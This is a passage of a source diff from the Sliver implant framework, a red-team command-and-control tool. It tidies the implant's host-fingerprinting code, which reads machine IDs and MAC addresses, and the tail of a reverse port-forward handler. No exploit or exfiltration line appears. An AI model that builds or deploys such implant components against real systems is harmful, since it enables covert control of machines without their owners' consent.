+		resp.BindAddress = rportfwd.ChannelProxy.BindAddr
+		resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
+	} else {
+		resp.Response.Err = "Invalid ID\n"
+	}
+
+	data, _ := proto.Marshal(resp)
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+}

implant/sliver/hostuuid/uuid.go

@@ -31,8 +31,10 @@ import (
 	"github.com/gofrs/uuid"
 )
 
+var zeroGUID = uuid.Must(uuid.FromString("00000000-0000-0000-0000-000000000000"))
+
 // UUIDFromMAC - Generate a UUID based on the machine's MAC addresses, this is
-// generally used as a last resort to fingerpint the host machine. It creates
+// generally used as a last resort to fingerprint the host machine. It creates
 // a uuid by hashing the MAC addresses of all network interfaces and using the
 // first 16 bytes of the hash as the UUID. This should work so long as network
 // interfaces are not added or removed, since its physical addresses this should
@@ -43,7 +45,7 @@ func UUIDFromMAC() string {
 	// {{end}}
 	interfaces, err := net.Interfaces()
 	if err != nil {
-		return ""
+		return zeroGUID.String()
 	}
 	hardwareAddrs := []string{}
 	for _, iface := range interfaces {
@@ -51,6 +53,9 @@ func UUIDFromMAC() string {
 			hardwareAddrs = append(hardwareAddrs, iface.HardwareAddr.String())
 		}
 	}
+	if len(hardwareAddrs) == 0 {
+		return zeroGUID.String()
+	}
 	sort.Strings(hardwareAddrs) // Ensure deterministic order
 	digest := sha256.New()
 	for _, addr := range hardwareAddrs {
@@ -58,7 +63,7 @@ func UUIDFromMAC() string {
 	}
 	value, err := uuid.FromBytes(digest.Sum(nil)[:16]) // Must be 128-bits
 	if err != nil {
-		return ""
+		return zeroGUID.String()
 	}
 	return value.String()
 }

implant/sliver/hostuuid/uuid_darwin.go

@@ -1,23 +1,23 @@
-// +build darwin
+//go:build darwin
 
 package hostuuid
 
 /*
-Sliver Implant Framework
-Copyright (C) 2019  Bishop Fox
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
 
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
 
-This program is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
 
-You should have received a copy of the GNU General Public License
-along with this program.  If not, see <https://www.gnu.org/licenses/>.
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
 /*

implant/sliver/hostuuid/uuid_linux.go

@@ -1,5 +1,4 @@
 //go:build linux
-// +build linux
 
 package hostuuid
 
@@ -23,15 +22,15 @@ package hostuuid
 
 import (
 	"fmt"
-	"io/ioutil"
+	"os"
 )
 
 // GetUUID - Get a system specific UUID
 func GetUUID() string {
-	uuid, err := ioutil.ReadFile("/etc/machine-id")
+	uuid, err := os.ReadFile("/etc/machine-id")
 	// UUID length is 32 plus newline
 	if err != nil || len(uuid) != 33 {
-		uuid, err = ioutil.ReadFile("/var/lib/dbus/machine-id")
+		uuid, err = os.ReadFile("/var/lib/dbus/machine-id")
 		if err != nil || len(uuid) != 33 {
 			return UUIDFromMAC() // Failed, try to use MAC addresses
 		}